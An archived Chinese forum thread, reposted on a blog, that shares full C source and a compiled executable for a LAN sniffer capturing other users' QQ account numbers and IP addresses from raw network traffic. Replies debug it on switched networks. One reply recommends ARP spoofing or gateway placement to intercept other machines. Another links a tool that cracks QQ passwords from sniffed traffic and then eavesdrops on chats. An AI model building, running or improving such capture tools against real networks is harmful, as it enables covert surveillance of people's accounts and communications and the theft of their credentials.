2007年2月4日星期日

QQsniffer.c源代码(局域网嗅QQ号码)

来源:blog.daxiguo.com (转载请注明来源)
整理:nagual

QQsniffer.c源代码(局域网嗅QQ号码) « 上一主题 | 下一主题 »
cooldiyer
发表于:2005-06-09 20:37 [此帖被版主加1分]
发帖: 204
积分: 0
注册: 2004-11-14
#include
#include
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
#define MAX_HOSTNAME_LAN 255
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define MAX_ADDR_LEN 16
struct ipheader {
unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
unsigned char ip_tos;
unsigned short int ip_len;
unsigned short int ip_id;
unsigned short int ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short int ip_sum;
unsigned int ip_src;
unsigned int ip_dst;
}; /* total ip header length: 20 bytes (=160 bits) */
typedef struct udphdr {
unsigned short sport;
unsigned short dport;
unsigned short len;
unsigned short cksum;
}UDP_HDR;
void main()
{
SOCKET sock;
WSADATA wsd;
DWORD dwBytesRet;
unsigned int optval = 1;
unsigned char *dataudp,*pUdpData;
int QQ,iUdpDataLen;
SOCKADDR_IN sa,saSource, saDest;
struct hostent FAR * pHostent;
char FAR name[MAX_HOSTNAME_LAN];
char szSourceIP[MAX_ADDR_LEN],RecvBuf[65535] = {0};
struct udphdr *pUdpheader;
struct ipheader *pIpheader;
WSAStartup(MAKEWORD(2,1),&wsd);
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP))==SOCKET_ERROR)exit(1);
gethostname(name, MAX_HOSTNAME_LAN);
pHostent = gethostbyname(name);
sa.sin_family = AF_INET;
sa.sin_port = htons(6000);
memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);
bind(sock, (SOCKADDR *)&sa, sizeof(sa));
if ((WSAGetLastError())==10013)exit(1);
WSAIoctl(sock, SIO_RCVALL, &optval, sizeof(optval), NULL, 0, &dwBytesRet, NULL, NULL);
pIpheader = (struct ipheader *)RecvBuf;
pUdpheader = (struct udphdr *) (RecvBuf+ sizeof(struct ipheader ));
printf("QQ sniffer V1.1 code powerd by cooldiyer\r\n");
while (1)
{
memset(RecvBuf, 0, sizeof(RecvBuf));
recv(sock, RecvBuf, sizeof(RecvBuf), 0);
saSource.sin_addr.s_addr = pIpheader->ip_src;
strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);
iUdpDataLen =(ntohs(pIpheader->ip_len)-(sizeof(struct ipheader)+sizeof(struct udphdr)));
if((pIpheader->ip_p)==IPPROTO_UDP&&iUdpDataLen!=0)
{
pUdpData=(unsigned char *) RecvBuf+sizeof(struct ipheader)+sizeof(struct udphdr);
iUdpDataLen=ntohs(pIpheader->ip_len)-(sizeof(struct ipheader)+sizeof(struct udphdr));
if(ntohs(pUdpheader->dport)==8000)
if(iUdpDataLen%4==0 && iUdpDataLen>0)
if(pUdpData[0]==0x02 && pUdpData[3]==0x00 && pUdpData[iUdpDataLen-1]==0x03)
{
QQ = (pUdpData[7]&0xff);
QQ = (QQ<<8) + (pUdpData[8]&0xff);
QQ = (QQ<<8) + (pUdpData[9]&0xff);
QQ = (QQ<<8) + (pUdpData[10]&0xff);
printf("IP:%s QQ:%d\r",szSourceIP,QQ);
}
}
}
}

附件 qq.exe ( 下载次数: 198 )

---
只想赢我自己 ......
Sanbrother
发表于:2005-06-09 22:21
发帖: 8
积分: 0
注册: 2005-06-02
呵呵,在我的机器上没起作用啊.

我们是用交换机组成的局域网,ADSL拨号.
cooldiyer
发表于:2005-06-10 08:16
发帖: 204
积分: 0
注册: 2004-11-14
win2K+switchLan
---
只想赢我自己 ......
xtiger
发表于:2005-06-10 10:21
发帖: 208
积分: 0
注册: 2002-10-25
; ), 好。
glacier
发表于:2005-06-10 16:04
发帖: 1886
积分: 14
注册: 2001-03-04
请楼主说明是否原创,方便加分
---
浮生事,苦海舟,荡去漂来不自由
hxing
发表于:2005-06-11 22:34
发帖: 86
积分: 0
注册: 2005-05-31
有什么用处?
---
作为一个成人要学会无止境的宽容。
fixm
发表于:2005-06-11 23:42
发帖: 400
积分: 0
注册: 2005-05-21
思路不错~
---
其实我是nagual的形象代言人!
xuchao
发表于:2005-06-12 02:11
发帖: 31
积分: 0
注册: 2005-02-20
[已被删除]

xuchao 删除于 2009-01-24 06:52:45
icefall
发表于:2005-06-12 18:32
发帖: 7
积分: 0
注册: 2005-06-12
我的机器上只能监听本机
---
做自己想做的....
saoz
发表于:2005-06-13 13:13
发帖: 324
积分: 0
注册: 2005-02-24
http://www.cnasm.com/view.asp?classid=49&newsid=202
这个好象是whg写的吧?
---
我今天要做一个轰动全国的事情! 来! 我要做一个轰动全国的事情,占领xfocus,占领所有媒体
cooldiyer
发表于:2005-06-16 07:24
发帖: 204
积分: 0
注册: 2004-11-14
绝对原创,怎么分析出QQ号也是在我们安全焦点上找到答案的,我做了一些全面的工作,是的,QQ嗅探器多的是,你能说那原理一样的都是一个人写的吗,不可能吧,所以本人声明,本程序绝对原创!!!!!!!
---
只想赢我自己 ......
still
发表于:2005-06-19 19:51
发帖: 21
积分: 0
注册: 2005-02-23
我们的是交换机,怎么只可以嗅到自己电脑上的QQ,不可以看到别人电脑上的?
glacier
发表于:2005-06-20 03:07
发帖: 1886
积分: 14
注册: 2001-03-04
鼓励原创。

to still:
交换环境必须配合ARP欺骗,或者将sniffer安装在网关上,否则是截不到其他机器收发的数据的。
---
浮生事,苦海舟,荡去漂来不自由
tombkeeper
发表于:2005-06-20 08:38
发帖: 3552
积分: 0
注册: 2001-09-20

引用 (saoz @ 2005-06-13 13:13)
http://www.cnasm.com/view.asp?classid=49&newsid=202
这个好象是whg写的吧?

绝不是whg写的。
---
无耻至极则潇洒如西门吹雪
无脑至极则常胜如独孤求败
wooshi
发表于:2005-06-20 09:36
发帖: 9
积分: 0
注册: 2005-03-29
[已被删除]

wooshi 删除于 2005-06-20 09:37:28
team509
发表于:2005-06-20 10:42
发帖: 89
积分: 0
注册: 2005-06-20
qq号不是明文写在包头上嘛,提炼出来也没什么难度嘛,这样的帖子都能得一分
---
欢迎来http://www.team509.com/作客
team509
发表于:2005-06-20 10:45
发帖: 89
积分: 0
注册: 2005-06-20
我也写过一个qqsniffer(呵呵奇怪大家怎么都叫这个名字),主要功能是通过监听破解QQ的密码,并且一旦破解成功,就监听聊天内容。程序需要winpcap,谁有兴趣可以试试,不久我将公开源码(主要写的太难看,整理整理先)

http://www.team509.com/download/qqsniffer.rar

team509 编辑于 2005-06-20 10:48
---
欢迎来http://www.team509.com/作客

类别:网络安全 | 浏览(839) | 评论 (0)

没有评论: